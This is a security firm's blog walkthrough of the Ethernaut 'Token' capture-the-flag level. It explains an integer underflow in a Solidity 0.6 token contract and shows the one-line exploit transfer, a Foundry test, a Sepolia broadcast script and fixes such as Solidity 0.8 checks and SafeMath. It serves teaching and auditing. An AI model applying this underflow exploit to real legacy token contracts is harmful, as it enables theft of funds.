← Back to blog
Mike B. - SecLat SecuritySeptember 3, 2026

Ethernaut Level 5 Walkthrough: Exploiting an Integer Underflow in Solidity

In this article, we will analyze and solve Ethernaut Level 5: Token.

This level looks like a minimal, correct ERC20 contract: it tracks balances, transfers tokens, and even has a require that appears to guard against negative balances. That guard is broken by design, because it compares unsigned values, and that turns an apparently harmless operation into a way to print tokens out of thin air.

Beyond solving the challenge, we will cover:

  • What an integer underflow is and why Solidity before version 0.8.0 does not catch it
  • Why the contract's require can never fail, no matter the values involved
  • How a single direct call from our own account, with no attacker contract, is enough to exploit it
  • How to validate the exploit with Foundry
  • How to defend against it with SafeMath or Solidity 0.8+'s native checks

Challenge Description

The contract implements a simple token with internal balances. The player starts with 20 tokens, assigned by the factory when the instance is deployed.

The goal of the challenge is:

Hack the basic token contract below so that you end up with more tokens than you started with. Ideally, an absurdly large amount of tokens.

Vulnerability Classification

CategoryValue
Vulnerability:Integer Underflow
Root Cause:Unsigned subtraction with no overflow/underflow checks (Solidity ^0.6.0)
Impact:Any holder can mint themselves unlimited tokens
Severity:Critical
Attack Type:Arithmetic manipulation / Integer Underflow

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

Root Cause of the Vulnerability

The entire vulnerability lives in one line:

balances[msg.sender] -= _value;

balances[msg.sender] and _value are both uint256, an unsigned integer. A uint256 cannot represent negative numbers: its range runs from 0 to 2^256 - 1. That means the expression balances[msg.sender] -= _value can never be less than zero from the type's point of view. If _value is larger than balances[msg.sender], the subtraction does not produce a negative number, it produces an underflow: the result wraps around and lands near the top of the range, an enormous number.

As a consequence, >= 0 is a condition that is always true for any uint256, regardless of the values involved. The require protects nothing. It compiles, it reads like a reasonable check, and it does absolutely nothing.

This violates a core security principle in smart contract design:

Every arithmetic operation on balances or value amounts must explicitly guarantee there is no overflow or underflow, because the data type alone enforces representation limits, not business-logic limits.

Understanding Integer Underflow

To see why the subtraction behaves this way, we need to think about how a uint256 is stored.

  1. A uint256 is represented with 256 unsigned bits. The minimum possible value is 0 and the maximum is 2^256 - 1.
  2. In Solidity ^0.6.0 (and every version before 0.8.0), arithmetic operations do not automatically revert on overflow or underflow. The compiler simply applies modular arithmetic: the result wraps around.
  3. If balances[msg.sender] = 20 and we call transfer with _value = 21, the EVM computes 20 - 21 like a clock rolling backward past zero: the result is 2^256 - 1, a 77-digit number.
  4. require(balances[msg.sender] - _value >= 0) evaluates that already-wrapped subtraction. Since the result is still a valid uint256 (never negative by definition), the >= 0 condition passes every single time, without exception.
  5. The next line, balances[msg.sender] -= _value, performs the exact same subtraction and persists that gigantic number as the attacker's new balance.
Initial state:
  balances[player] = 20

Call: transfer(addr, 21)

  require(20 - 21 >= 0)
    20 - 21 in uint256  ->  underflow  ->  2^256 - 1
    (2^256 - 1) >= 0    ->  true (always, for any uint256)
    require PASSES

  balances[player] -= 21
    balances[player] = 2^256 - 1  (gigantic number)

  balances[addr] += 21
    balances[addr] = 21

This vulnerability class is cataloged in the Smart Contract Weakness Classification registry as SWC-101, "Integer Overflow and Underflow." It is one of the historical reasons OpenZeppelin built the SafeMath library, and why Solidity 0.8.0 (2020) made these checks part of the language's default behavior.

The most-cited real-world case of this bug class is the BeautyChain (BEC) token hack of April 2018, known as "batchOverflow": a batch transfer function allowed a multiplication overflow on the transferred amount, minting an astronomical quantity of BEC tokens out of nowhere. The exploit forced several exchanges to suspend trading of the token within hours.

Why Is Integer Underflow Dangerous?

The Token level demonstrates the simplest case, a direct subtraction on a balance, but the same bug class shows up in subtler forms in production code.

  • Multiplication overflows, not just subtraction underflows: computing amount * price or distributing rewards in a batch are common points where a large value can overflow the range of a smaller uint256 type (uint128, uint96) used for gas optimization.
  • unchecked blocks in Solidity 0.8+: the modern language reverts automatically on overflow/underflow, but a developer can explicitly reintroduce the problem by wrapping arithmetic in an unchecked { ... } block for gas savings, without validating the invariants that block assumes.
  • Types smaller than 256 bits: uint8, uint16, uint32 overflow at much smaller, everyday values, which makes them easier to trigger by accident, not only by a deliberate attacker.
  • Pre-0.8.0 legacy code: any production contract compiled with a pragma older than 0.8.0 without SafeMath is exactly as vulnerable today as it was in 2018 if it handles funds.

The safe pattern is twofold: use Solidity ^0.8.0 or later to get overflow/underflow checks by default, and audit every unchecked block as if it were, by definition, code stripped of the language's safety net.

Attack Strategy

Now that we understand the vulnerability, we can design the exploit.

We know that:

  1. The player starts with exactly 20 tokens (playerSupply = 20 in the factory).
  2. transfer never actually validates that _value is less than or equal to the sender's balance, because the require always passes.
  3. Transferring more tokens than we own causes balances[msg.sender] to underflow to an enormous number.
  4. The recipient of the transfer is irrelevant to the attack: the only thing that matters is that we subtract more than we have.
  5. We do not need any intermediary contract. We can call transfer directly from our player account.

Therefore, our strategy will be:

  1. Call transfer from our player account with any destination address and a _value greater than our current balance (20). _value = 21 is enough.
  2. The require passes because 20 - 21 underflows to a huge positive number.
  3. Our balance is now fixed at 2^256 - 21, far above 20.
  4. The level is solved.

Solution

This level does not require deploying any attacker contract. It is solved with a single direct call from our player account to the Token contract's own public transfer function, exactly the way any legitimate holder would call it.

From Ethernaut's browser console, or from a Foundry script/test, this is enough:

instance.transfer(0x000000000000000000000000000000000000dEaD, 21);

There is nothing special about the destination address: any address works, even a burn address as in the example above, because the attack happens on the sender's balance, not the receiver's.

How the Exploit Works

First, we confirm our starting balance by calling balanceOf(player), which should return 20.

Then, we call transfer(anyAddress, 21) directly from our player account. Inside the contract, require(balances[player] - 21 >= 0) computes 20 - 21 as unsigned arithmetic. On Solidity ^0.6.0 without SafeMath, that result does not revert: it wraps around to 2^256 - 1, which is still >= 0, so the require passes.

The line balances[player] -= 21 performs the same subtraction and persists that gigantic number as our new balance. Calling balanceOf(player) now returns a value astronomically larger than 20, and the level is considered solved.

No attacker contract, no funds, no timing. A single transaction is all it takes.

Validating the Exploit with Foundry

After cloning the Ethernaut repository locally, we can build a Foundry test to validate the exploit.

// SPDX-License-Identifier: MIT
// Token_L5.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

interface Token {
    function transfer(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
}

contract TestToken_L5 is Test, Utils {
    Ethernaut ethernaut;
    Token instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        DummyFactory factory = DummyFactory(getOldFactory("TokenFactory"));
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Token(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertEq(instance.balanceOf(player), 20);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        // player holds 20 tokens. Transferring 21 underflows
        // balances[player] -= 21 on Solidity 0.6.x with no SafeMath,
        // wrapping player's balance to a huge number.
        instance.transfer(address(0xdead), 21);

        assertGt(instance.balanceOf(player), 20);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Running the Test

We run the test against a Sepolia fork:

source .env
forge test --mp test/Solutions/Token_L5.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv

Once it runs, we can verify that the player's balance is far above the initial 20 tokens and that the level accepts the submission.

Solving the Level on Sepolia

Now we will build a script to run the exploit directly against the Ethernaut instance.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

interface Token {
    function transfer(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
}

contract TokenScript is Script {
    address public target;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        address player = vm.addr(pk);
        vm.startBroadcast(pk);

        Token instance = Token(target);
        instance.transfer(address(0xdead), 21);

        console.log("Player balance after underflow:", instance.balanceOf(player));

        vm.stopBroadcast();
    }
}

Running the Script

First, we run the script locally:

forge script scripts/Token.s.sol --rpc-url $SEPOLIA_RPC

If everything works correctly, we broadcast it to Sepolia:

forge script scripts/Token.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv

Once the transaction confirms, the player's balance on the instance is astronomically larger than 20. All that's left is to submit the instance on the Ethernaut site.

How to Prevent Integer Underflow

The fix is not a smarter require, it is guaranteeing the arithmetic itself cannot wrap around undetected.

Use Solidity 0.8.0 or later

// Vulnerable (Solidity ^0.6.0, no native checks)
function transfer(address _to, uint256 _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

// Fixed (Solidity ^0.8.0, reverts automatically on underflow)
function transfer(address _to, uint256 _value) public returns (bool) {
    require(balances[msg.sender] >= _value, "Insufficient balance");
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

With Solidity ^0.8.0, balances[msg.sender] -= _value automatically reverts if the result would underflow, with no external library needed. Keeping an explicit require with an error message is still good practice, because it fails earlier and with a clear message, instead of relying only on the compiler's generic revert.

Use SafeMath in legacy code

If a contract must stay on a Solidity version older than 0.8.0, OpenZeppelin's SafeMath library adds add, sub, mul, and div functions that explicitly revert on overflow or underflow.

using SafeMath for uint256;

function transfer(address _to, uint256 _value) public returns (bool) {
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    return true;
}

Audit every unchecked block

In Solidity 0.8+, any unchecked { ... } block reintroduces pre-0.8.0 behavior for the code inside it. Every use must be explicitly justified and validated against the same invariants a developer would have to check manually in legacy code.

Lessons Learned

This challenge shows that a require can look like a reasonable check, compile without warnings, and protect absolutely nothing.

Key takeaways from this level:

  • A require on a uint >= 0 expression can never fail: it is a tautology for any unsigned integer.
  • Unsigned subtraction does not produce negative numbers, it produces underflow: the value wraps around to the top of the type's range.
  • Solidity before 0.8.0 did not automatically revert on overflow or underflow, leaving this bug class fully exposed unless SafeMath was used explicitly.
  • Solidity 0.8.0+ fixes this by default, but an unchecked block can deliberately reintroduce the problem.
  • SWC-101 exists precisely because this bug class caused real losses, like BeautyChain's 2018 batchOverflow hack.

Conclusion

In this challenge, we exploited an integer underflow in the transfer function of a minimal ERC20-style token, caused by a require that compares an unsigned subtraction against zero, a condition that can never be false.

We didn't need any attacker contract: a single direct call from our player account, transferring more tokens than we owned, was enough to inflate our balance to an astronomical number.

This level is an excellent introduction to:

  • What an integer underflow is and why it happens in unsigned arithmetic
  • Why Solidity before 0.8.0 does not guard against this by default
  • How to exploit the bug with a single transaction, no intermediary contract
  • Real exploit methodology validated with Foundry
  • Correct safe-arithmetic patterns using Solidity 0.8+ or SafeMath

You can find more Web3 security content on our blog.

If you're looking for a security audit for your protocol, reach out through our site seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.